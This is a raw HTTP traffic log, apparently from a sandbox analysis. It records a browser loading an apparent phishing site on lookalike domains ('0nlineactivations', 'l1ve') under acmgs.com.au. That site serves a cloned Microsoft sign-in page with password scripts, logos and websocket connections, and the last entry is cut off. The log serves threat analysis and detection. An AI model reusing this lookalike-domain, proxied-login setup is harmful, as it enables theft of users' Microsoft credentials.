Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1Sec-WebSocket-Key: zFTz/7692/wtMEh4gvlD8w==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1Sec-WebSocket-Key: 7oAxvZ+Lve5XQu+IjqDuXQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.ausec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.ausec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.ausec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: l1ve.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1Sec-WebSocket-Key: 8/8Isgiu/aF6AjO+qpxJiQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /Prefetch/Prefetch.aspx HTTP/1.1Host: dab02a46-e455dbd6.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=babf8dd5-6ef2-4698-b5ef-479010a34193; brcap=0Sec-WebSocket-Key: ZsrViyIgMcrLTVJBqthrSg==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_b6632c4da67c72da7b92.js HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_b6632c4da67c72da7b92.js HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: 881a0950-e455dbd6.acmgs.com.auConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
Source: global traffic	HTTP traffic detected: GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=babf8dd5-6ef2-4698-b5ef-479010a34193; brcap=0Sec-WebSocket-Key: Yx/Fft81p59UYB8e2uU+8A==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=babf8dd5-6ef2-4698-b5ef-479010a34193; brcap=0Sec-WebSocket-Key: CSLiq/O0eSxsfZyXizgdCQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.auSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=babf8dd5-6ef2-4698-b5ef-479010a34193; brcap=0; ai_session=bGTMvv1/nABcVVGZeaGAgH\|1734723120038\|1734723120038Sec-WebSocket-Key: aRfa7ZDTsPNnbRZuk1tJ3w==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /Prefetch/Prefetch.aspx HTTP/1.1Host: dab02a46-e455dbd6.acmgs.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/Accept-Encoding: gzip, deflate, 